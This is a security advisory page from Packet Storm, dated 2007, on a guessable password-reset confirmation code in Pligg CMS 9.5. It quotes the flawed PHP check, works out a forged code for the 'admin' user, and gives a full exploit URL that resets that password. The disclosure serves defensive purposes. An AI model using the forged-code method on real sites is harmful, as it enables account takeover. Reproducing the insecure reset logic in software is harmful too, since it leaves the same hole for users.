what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

pligg-password.txt

pligg-password.txt
Posted May 31, 2007
Authored by 242th.section

Pligg version 9.5 is susceptible to a guessable confirmation code for password reset.

tags | exploit
SHA-256 | 6a5c9c8df8272d2b5249a353b1d8ce0b89612a994e53e4f4926cabe84e513934

pligg-password.txt

Change Mirror Download
Pligg critical vulnerability

Concerned version : 9.5 and ?

Description :

Pligg is a flexible CMS based on PHP and MYSQL.

To reinitialize a forgotten password, Pligg follows a classical
process. A confirmation code is generated and sent by email to the
concerned user mail box. The user has to follow the link containing
the confirmation code and if the confirmation code is checked
successfully, the password is reinitialized to a pre-defined value.


you can find a part of the source code in charge of this check below :


WEB_ROOT/libs/html1.php


[…]

function generateHash($plainText, $salt = null){

if ($salt === null) {

$salt = substr(md5(uniqid(rand(), true)), 0, SALT_LENGTH); }

else {

$salt = substr($salt, 0, SALT_LENGTH);

}

return $salt . sha1($salt . $plainText);

}

[…]



WEB_ROOT/login.php :


[…]

$confirmationcode = $_GET["confirmationcode"];

if(generateHash($username, substr($confirmationcode, 0, SALT_LENGTH))
== $confirmationcode){

$db->query('UPDATE `' . table_users . '` SET `user_pass` =
"033700e5a7759d0663e33b18d6ca0dc2b572c20031b575750" WHERE `user_login`
= "'.$username.'"');

[…]



Unfortunately, as you can read, you can easily generate, for a given
username, a confirmation code that passes successfully the following
check "if(generateHash($username, substr($confirmationcode, 0,
SALT_LENGTH)) == $confirmationcode)"


Example :


Let's choose :
salt = 123456789

and,

username = admin

we have :

sha1(123456789admin) = 1e2f566cbda0a9c855240bf21b8bae030404cad7

and thus :

confirmationcode = 1234567891e2f566cbda0a9c855240bf21b8bae030404cad7

with the following url you can reinitialize the user admin password :


http://www.domain.com/login.php?processlogin=4&username=admin&confirmationcode=1234567891e2f566cbda0a9c855240bf21b8bae030404cad7


242th.section.
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close